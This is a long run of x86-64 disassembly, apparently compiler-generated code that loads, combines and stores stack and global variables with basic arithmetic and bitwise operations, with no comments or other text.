mov rcx, qword [rsp + 0x95d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa78], rax
mov rax, qword [rsp + 0xc6c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc4c0]
mov qword [rsp + 0xd7d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd7d8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ea0]
mov qword [rsp + 0xd7e0], rax
mov rax, qword [rsp + 0x9cf0]
mov rcx, qword [rsp + 0xb248]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5450], eax
movzx eax, word [rsp + 0x12bc]
mov word [rsp + 0x183c], ax
movsx eax, byte [rsp + 0x20d]
movsx ecx, byte [rsp + 0x1da]
or eax, ecx
mov rcx, qword [0x1401e8b28]
mov byte [rcx], al
movzx eax, word [rsp + 0x1430]
mov rcx, qword [rsp + 0xc5d8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xacd0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb418]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd578]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd318]
mov byte [rcx], al
mov rax, qword [rsp + 0xa840]
movzx eax, byte [rax]
mov byte [rsp + 0x2a6], al
mov rax, qword [rsp + 0xc8d0]
mov rcx, qword [rsp + 0x9c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc8d0]
mov qword [rcx], rax
lea rax, [rsp + 0x4fec]
mov qword [rsp + 0xd7e8], rax
mov rax, qword [rsp + 0xc430]
mov rcx, qword [rsp + 0xa3f0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa528]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ec0]
mov ecx, dword [rsp + 0x510c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcb78]
mov dword [rcx], eax
movzx eax, byte [0x1401e7066]
mov byte [rsp + 0x2a7], al
lea rax, [rsp + 0x17d8]
mov qword [0x1401e9100], rax
mov rax, qword [rsp + 0x9cf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16f8]
add eax, ecx
mov rcx, qword [rsp + 0x9a68]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc20]
movzx eax, word [rax]
mov word [rsp + 0x1840], ax
mov rax, qword [rsp + 0xaf68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb730]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x160], al
movsx eax, word [rsp + 0x1640]
movsx ecx, word [rsp + 0x1154]
sub eax, ecx
mov rcx, qword [rsp + 0xc600]
mov word [rcx], ax
lea rax, [0x1401e7004]
mov qword [rsp + 0xd7f0], rax
mov rax, qword [rsp + 0xc3f0]
mov eax, dword [rax]
imul eax, dword [rsp + 0x4ff4]
mov rcx, qword [rsp + 0x9138]
mov dword [rcx], eax
lea rax, [rsp + 0xba00]
mov qword [rsp + 0xd7f8], rax
mov rax, qword [rsp + 0x94c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xabd0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd658], rax
mov rax, qword [rsp + 0x91c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc578]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e88dc], al
lea rax, [rsp + 0xd6]
mov qword [rsp + 0xd800], rax
mov rax, qword [rsp + 0xa140]
movzx eax, word [rax]
mov rcx, qword [0x1401e8d80]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1330], ax
mov rax, qword [rsp + 0xb828]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12f4]
shl eax, cl
mov rcx, qword [rsp + 0x99d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb948]
movzx eax, word [rax]
mov word [rsp + 0x1844], ax
mov rax, qword [rsp + 0xc308]
movzx ecx, al
mov rax, qword [rsp + 0xaa88]
shr rax, cl
mov qword [rsp + 0xa240], rax
mov eax, dword [rsp + 0x4e74]
mov dword [rsp + 0x5678], eax
mov rax, qword [rsp + 0x9c20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ff0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f84], eax
mov rax, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0xa148]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9150]
mov qword [rcx], rax
lea rax, [rsp + 0x12c]
mov qword [0x1401e9108], rax
movzx eax, word [rsp + 0x13b4]
mov word [rsp + 0x1848], ax
mov rax, qword [rsp + 0xa470]
movsx eax, word [rax]
movsx ecx, word [0x1401e7164]
and eax, ecx
mov word [rsp + 0x1458], ax
mov rax, qword [rsp + 0xd5f8]
movzx eax, byte [rax]
mov byte [rsp + 0x2a8], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d5]
add eax, ecx
mov rcx, qword [rsp + 0x9998]
mov byte [rcx], al
mov rax, qword [rsp + 0xd050]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc860]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb710], rax
mov rax, qword [rsp + 0xb690]
mov rax, qword [rax]
mov qword [rsp + 0xd808], rax
mov eax, dword [rsp + 0x50a8]
mov ecx, dword [rsp + 0x5484]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5390], eax
lea rax, [rsp + 0x530c]
mov qword [rsp + 0xd810], rax
mov rax, qword [0x1401e8a70]
movzx eax, byte [rax]
mov byte [0x1401e88f6], al
movzx eax, word [rsp + 0x11d4]
movzx ecx, word [rsp + 0x1400]
add eax, ecx
mov word [rsp + 0x1290], ax
lea rax, [rsp + 0x1270]
mov qword [rsp + 0xd818], rax
movzx eax, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0xb000]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc128]
mov byte [rcx], al
movzx eax, byte [rsp + 0x20f]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbb70]
mov byte [rcx], al
lea rax, [rsp + 0x4d88]
mov qword [rsp + 0xd820], rax
mov rax, qword [rsp + 0xcde8]
mov rcx, qword [rsp + 0xd620]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb638], rax
lea rax, [rsp + 0x4d84]
mov qword [rsp + 0xd828], rax
mov rax, qword [rsp + 0x9398]
mov rcx, qword [rsp + 0xa6d8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9748]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1414]
mov rcx, qword [rsp + 0xa1a0]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401e8d5c], ax
movsx eax, byte [rsp + 0x79]
mov rcx, qword [rsp + 0xc068]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb578]
mov byte [rcx], al
movzx eax, word [rsp + 0x1440]
mov word [rsp + 0x184c], ax
movzx eax, byte [0x1401e70bf]
movzx ecx, byte [rsp + 0x9a]
xor eax, ecx
mov byte [rsp + 0x27a], al
lea rax, [rsp + 0x14b0]
mov qword [rsp + 0xd830], rax
mov rax, qword [rsp + 0x94c8]
mov rcx, qword [rsp + 0xcaa0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc930], rax
mov rax, qword [rsp + 0xc2f8]
mov rcx, qword [rsp + 0xc928]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f48], eax
mov eax, dword [rsp + 0x5024]
mov dword [rsp + 0x567c], eax
mov rax, qword [rsp + 0xd620]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc090]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb288], rax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9b28]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e70ee], al
movzx eax, byte [rsp + 0x1bd]
mov byte [rsp + 0x2a9], al
mov rax, qword [rsp + 0x9950]
movzx eax, word [rax]
mov rcx, qword [0x1401e8a88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1024], ax
mov rax, qword [rsp + 0xace8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa688]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1e3], al
movzx eax, byte [rsp + 0xf5]
mov byte [rsp + 0x2aa], al
mov eax, dword [0x1401e7008]
mov ecx, dword [rsp + 0x53c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5224], eax
mov eax, dword [rsp + 0x4f18]
mov dword [rsp + 0x5680], eax
mov rax, qword [rsp + 0xc098]
mov rcx, qword [rsp + 0xa680]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc408]
mov qword [rcx], rax
lea rax, [rsp + 0xa700]
mov qword [rsp + 0xd838], rax
movsx eax, word [0x1401e71c8]
movsx ecx, word [rsp + 0x1830]
sub eax, ecx
mov word [0x1401e7204], ax
movsx eax, word [rsp + 0x1154]
mov rcx, qword [rsp + 0xaa80]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbd10]
mov word [rcx], ax
movzx eax, byte [0x1401e70eb]
mov rcx, qword [rsp + 0x93b8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xac58]
mov byte [rcx], al
movzx eax, word [rsp + 0x138c]
mov word [rsp + 0x1850], ax
movzx eax, word [rsp + 0x15dc]
movzx ecx, word [rsp + 0x112c]
sub eax, ecx
mov word [rsp + 0x158c], ax
mov rax, qword [rsp + 0xa010]
mov rax, qword [rax]
mov qword [rsp + 0xd840], rax
mov rax, qword [rsp + 0xc6c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9d00]
mov qword [rsp + 0xd848], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd848]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x565c], eax
mov rax, qword [rsp + 0xb490]
mov ecx, dword [rsp + 0x54e0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9b68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd368]
mov rax, qword [rax]
mov qword [rsp + 0xd850], rax
movsx eax, byte [rsp + 0x92]
movsx ecx, byte [rsp + 0x227]
sar eax, cl
mov rcx, qword [0x1401e87b8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1844]
mov rcx, qword [rsp + 0xd080]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x10c4], ax
lea rax, [0x1401e87a7]
mov qword [rsp + 0xd858], rax
mov rax, qword [rsp + 0x8ec8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1120]
and eax, ecx
mov rcx, qword [rsp + 0xc8a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x29e]
mov rcx, qword [0x1401e8800]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ef0]
mov byte [rcx], al
lea rax, [rsp + 0x511c]
mov qword [rsp + 0xd860], rax
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a08]
mov qword [rsp + 0xd868], rax
mov rax, qword [rsp + 0xbb68]
mov eax, dword [rax]
mov ecx, dword [0x1401e7008]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb350]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x285]
mov rcx, qword [rsp + 0x9f40]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x10e], al
lea rax, [rsp + 0x1740]
mov qword [0x1401e9110], rax
movzx eax, word [rsp + 0x175c]
mov word [rsp + 0x1854], ax
movzx eax, byte [rsp + 0x1c1]
movzx ecx, byte [rsp + 0xb3]
sub eax, ecx
mov byte [rsp + 0x1b2], al
movzx eax, byte [rsp + 0x15b]
mov byte [rsp + 0x2ab], al
mov rax, qword [rsp + 0x9cf0]
mov rcx, qword [rsp + 0xaee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x538c], eax
lea rax, [rsp + 0xb0c8]
mov qword [rsp + 0xd870], rax
mov rax, qword [rsp + 0x97d0]
mov rcx, qword [rsp + 0xca20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb9b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd650]
mov rcx, qword [rsp + 0xa2a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb568], rax
lea rax, [rsp + 0x129c]
mov qword [rsp + 0xd878], rax
mov rax, qword [rsp + 0xd638]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1308]
or eax, ecx
mov word [0x1401e7208], ax
mov rax, qword [rsp + 0xa258]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x13f]
sar eax, cl
mov byte [rsp + 0x24f], al
movzx eax, word [rsp + 0x110c]
mov word [rsp + 0x1858], ax
movsx eax, byte [rsp + 0x145]
mov rcx, qword [rsp + 0xb770]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xad40]
mov byte [rcx], al
mov rax, qword [rsp + 0xa1d8]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x4eec]
mov dword [rsp + 0x528c], eax
lea rax, [rsp + 0xa4b8]
mov qword [rsp + 0xd880], rax
mov eax, dword [rsp + 0x5480]
mov rcx, qword [rsp + 0x9530]
mov qword [rsp + 0xd888], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd888]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x98c0]
mov dword [rcx], eax
lea rax, [0x1401e7018]
mov qword [rsp + 0xd890], rax
movsx eax, word [rsp + 0x1094]
movsx ecx, word [rsp + 0x14c0]
and eax, ecx
mov rcx, qword [rsp + 0xbca8]
mov word [rcx], ax
mov rax, qword [rsp + 0xade8]
movzx eax, word [rax]
movzx ecx, word [0x1401e71b4]
sub eax, ecx
mov rcx, qword [0x1401e8c90]
mov word [rcx], ax
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe48]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaf30]
mov byte [rcx], al
lea rax, [rsp + 0x142]
mov qword [rsp + 0xd898], rax
movzx eax, word [rsp + 0x1820]
mov rcx, qword [rsp + 0xaf48]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb618]
mov word [rcx], ax
mov rax, qword [rsp + 0xc818]
mov eax, dword [rax]
mov dword [rsp + 0x5684], eax
mov rax, qword [rsp + 0xd7f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5168]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x561c], eax
lea rax, [rsp + 0xb8a8]
mov qword [rsp + 0xd8a0], rax
mov rax, qword [rsp + 0xd838]
mov rcx, qword [rsp + 0xaa48]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xca48]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc8c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1078], ax
mov rax, qword [rsp + 0xa110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa0d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e720c], ax
mov rax, qword [rsp + 0xafb8]
movzx eax, byte [rax]
mov byte [rsp + 0x2ac], al
mov rax, qword [rsp + 0xc238]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa0]
add eax, ecx
mov rcx, qword [rsp + 0xa0c8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1f0]
mov byte [rsp + 0x2ad], al
movzx eax, word [0x1401e70f0]
movzx ecx, word [rsp + 0x183c]
add eax, ecx
mov word [rsp + 0x11f0], ax
mov rax, qword [rsp + 0xa5c8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb5e8]
shr rax, cl
mov qword [rsp + 0xc828], rax
mov rax, qword [rsp + 0xd260]
mov qword [rsp + 0xd8a8], rax
mov rax, qword [rsp + 0xaee0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5300]
shl eax, cl
mov dword [rsp + 0x50f8], eax
mov eax, dword [rsp + 0x4f68]
mov dword [rsp + 0x5688], eax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [0x1401e888b]
xor eax, ecx
mov byte [0x1401e7093], al
mov rax, qword [rsp + 0xd198]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd3a0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9c30]
mov byte [rcx], al
movsx eax, word [rsp + 0x1034]
movsx ecx, word [rsp + 0x1648]
and eax, ecx
mov rcx, qword [rsp + 0xd4a8]
mov word [rcx], ax
lea rax, [rsp + 0x1eb]
mov qword [rsp + 0xd8b0], rax
mov rax, qword [rsp + 0xa540]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x180]
add eax, ecx
mov byte [rsp + 0x18f], al
mov eax, dword [rsp + 0x5618]
mov dword [rsp + 0x568c], eax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0xabb0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc658], rax
mov rax, qword [rsp + 0xbb90]
mov ecx, dword [rsp + 0x505c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e10]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbd18]
mov rax, qword [rax]
mov qword [rsp + 0xd8b8], rax
movsx eax, word [rsp + 0x11e8]
movsx ecx, word [rsp + 0x1594]
sub eax, ecx
mov rcx, qword [0x1401e8c18]
mov word [rcx], ax
movzx eax, byte [rsp + 0x101]
mov rcx, qword [rsp + 0xa000]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x96a0]
mov byte [rcx], al
lea rax, [rsp + 0x13d0]
mov qword [rsp + 0xd8c0], rax
mov rax, qword [rsp + 0xafb8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x215]
and eax, ecx
mov byte [rsp + 0x212], al
movzx eax, word [rsp + 0x170c]
mov word [rsp + 0x185c], ax
mov rax, qword [rsp + 0xcfc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5150]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc648]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9228]
mov rcx, qword [rsp + 0xbad8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa7f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4ed8]
mov dword [rsp + 0x5690], eax
mov rax, qword [rsp + 0xa6b8]
mov rcx, qword [rsp + 0xb020]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9e70]
mov qword [rcx], rax
mov rax, qword [rsp + 0xac40]
movzx eax, byte [rax]
mov byte [0x1401e88f7], al
mov rax, qword [rsp + 0xc6a0]
movzx eax, word [rax]
mov word [rsp + 0x1860], ax
mov rax, qword [rsp + 0xb310]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x241]
or eax, ecx
mov byte [rsp + 0x25f], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc7f8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x15cc], ax
mov rax, qword [rsp + 0xd598]
movzx eax, word [rax]
mov word [rsp + 0x1864], ax
mov rax, qword [rsp + 0xa348]
mov rcx, qword [rsp + 0x9978]
mov qword [rsp + 0xd8c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd8c8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xd518]
mov qword [rcx], rax
lea rax, [rsp + 0xc7c8]
mov qword [rsp + 0xd8d0], rax
mov rax, qword [rsp + 0x8e10]
mov rcx, qword [rsp + 0xd708]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4f40], eax
mov rax, qword [rsp + 0xba40]
mov rcx, qword [rsp + 0xafe8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0xc718]
mov dword [rcx], eax
lea rax, [rsp + 0x1774]
mov qword [0x1401e9118], rax
lea rax, [rsp + 0x26d]
mov qword [rsp + 0xd8d8], rax
mov rax, qword [rsp + 0x9a28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ae8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcf00]
mov word [rcx], ax
mov rax, qword [rsp + 0xc2c8]
movzx eax, byte [rax]
mov byte [rsp + 0x2ae], al
mov rax, qword [0x1401e8dc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14ac]
add eax, ecx
mov word [rsp + 0xff8], ax
lea rax, [rsp + 0x9cc8]
mov qword [rsp + 0xd8e0], rax
mov rax, qword [rsp + 0xa1a8]
mov rcx, qword [rsp + 0x8fc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d10], rax
mov rax, qword [rsp + 0xa728]
mov ecx, dword [rsp + 0x54fc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x53a4], eax
mov eax, dword [rsp + 0x564c]
mov dword [rsp + 0x5694], eax
mov rax, qword [rsp + 0xca40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c78]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e8aa8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbde8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd478]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9930]
mov byte [rcx], al
mov rax, qword [rsp + 0xcf08]
movzx eax, byte [rax]
mov byte [rsp + 0x2af], al
movsx eax, word [rsp + 0x165c]
movsx ecx, word [rsp + 0x15c8]
sub eax, ecx
mov word [rsp + 0x10f0], ax
mov rax, qword [rsp + 0xa708]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbaa8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1338], ax
mov rax, qword [rsp + 0x8d40]
mov qword [rsp + 0xd8e8], rax
mov eax, dword [rsp + 0x5518]
mov ecx, dword [rsp + 0x5140]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9f70]
mov dword [rcx], eax
lea rax, [rsp + 0x4e80]
mov qword [rsp + 0xd8f0], rax
mov rax, qword [rsp + 0xb5f0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x98b0]
sar rax, cl
mov rcx, qword [rsp + 0xcb48]
mov qword [rcx], rax
mov rax, qword [0x1401e8dd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x235]
xor eax, ecx
mov byte [0x1401e70fe], al
mov rax, qword [rsp + 0xa540]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x185]
shl eax, cl
mov rcx, qword [rsp + 0xd038]
mov byte [rcx], al
lea rax, [rsp + 0x10d0]
mov qword [rsp + 0xd8f8], rax
mov rax, qword [rsp + 0xc630]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xade8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1148], ax
movzx eax, byte [rsp + 0x2a8]
mov byte [rsp + 0x2b0], al
mov rax, qword [rsp + 0x9910]
mov rcx, qword [rsp + 0xa868]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb080], rax
mov rax, qword [rsp + 0xd2e0]
mov ecx, dword [rsp + 0x566c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5680], eax
mov rax, qword [rsp + 0xd358]
mov rax, qword [rax]
mov qword [rsp + 0xd900], rax
mov rax, qword [rsp + 0x9838]
mov eax, dword [rax]
imul eax, dword [rsp + 0x4e38]
mov rcx, qword [rsp + 0xbfc8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x163c]
mov rcx, qword [rsp + 0xa2d8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e88a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd460]
movzx eax, byte [rax]
mov byte [rsp + 0x2b1], al
mov rax, qword [rsp + 0x9618]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10e8]
add eax, ecx
mov word [rsp + 0x1094], ax
lea rax, [rsp + 0x17e]
mov qword [rsp + 0xd908], rax
mov rax, qword [rsp + 0xb978]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbc]
sub eax, ecx
mov byte [rsp + 0x156], al
mov rax, qword [rsp + 0x9840]
mov ecx, dword [section..data]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50a8], eax
mov rax, qword [rsp + 0xab80]
mov rax, qword [rax]
mov qword [rsp + 0xd910], rax
mov rax, qword [rsp + 0xc5a8]
mov ecx, dword [rsp + 0x52f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x54dc], eax
mov rax, qword [rsp + 0xc1a0]
mov rax, qword [rax]
mov qword [rsp + 0xd918], rax
movzx eax, byte [rsp + 0x1f7]
movzx ecx, byte [rsp + 0x141]
sub eax, ecx
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0xd350]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc498]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e711c], ax
movsx eax, byte [rsp + 0x111]
movsx ecx, byte [rsp + 0xfa]
and eax, ecx
mov rcx, qword [rsp + 0x9690]
mov byte [rcx], al
mov rax, qword [rsp + 0x9de0]
movzx eax, word [rax]
mov word [rsp + 0x1868], ax
mov rax, qword [rsp + 0xcec8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12f0]
shl eax, cl
mov word [rsp + 0x1820], ax
mov rax, qword [rsp + 0x96b0]
mov rax, qword [rax]
mov qword [rsp + 0xd920], rax
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x52cc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xc660]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb0f8]
mov rcx, qword [rsp + 0xa510]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xd790]
mov qword [rcx], rax
lea rax, [rsp + 0x5340]
mov qword [rsp + 0xd928], rax
mov rax, qword [rsp + 0xc758]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd300]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1ec], al
movzx eax, byte [rsp + 0x124]
mov rcx, qword [rsp + 0xd490]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e70ff], al
lea rax, [rsp + 0x273]
mov qword [rsp + 0xd930], rax
movsx eax, word [rsp + 0x1310]
mov rcx, qword [rsp + 0xb018]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x172c], ax
mov rax, qword [rsp + 0xbc38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x104c]
and eax, ecx
mov rcx, qword [rsp + 0x9c88]
mov word [rcx], ax
lea rax, [0x1401e7018]
mov qword [rsp + 0xd938], rax
mov rax, qword [rsp + 0x90b8]
mov rcx, qword [rsp + 0xcce8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd290], rax
mov eax, dword [rsp + 0x5394]
mov dword [rsp + 0x5698], eax
mov eax, dword [0x1401e7008]
mov ecx, dword [rsp + 0x4f20]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcb58]
movzx eax, word [rax]
mov word [rsp + 0x186c], ax
movzx eax, byte [rsp + 0x2a4]
mov rcx, qword [rsp + 0x9bf8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8b98]
mov byte [rcx], al
mov rax, qword [0x1401e8e08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcb80]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x266], al
movzx eax, word [rsp + 0x135c]
movzx ecx, word [rsp + 0x145c]
sub eax, ecx
mov rcx, qword [rsp + 0xa0c0]
mov word [rcx], ax
lea rax, [rsp + 0x7b]
mov qword [rsp + 0xd940], rax
mov rax, qword [rsp + 0xcb68]
mov ecx, dword [rsp + 0x4fa0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5398], eax
lea rax, [rsp + 0x50b8]
mov qword [rsp + 0xd948], rax
mov rax, qword [rsp + 0x9ea0]
mov rcx, qword [rsp + 0xc610]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaac0], rax
mov rax, qword [rsp + 0xa048]
mov rcx, qword [rsp + 0xb908]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb6b8], rax
mov rax, qword [rsp + 0xb918]
movzx eax, word [rax]
mov word [rsp + 0x1870], ax
mov rax, qword [rsp + 0xa7b0]
movzx eax, byte [rax]
mov byte [0x1401e890a], al
mov rax, qword [rsp + 0xa9c8]
movsx eax, word [rax]
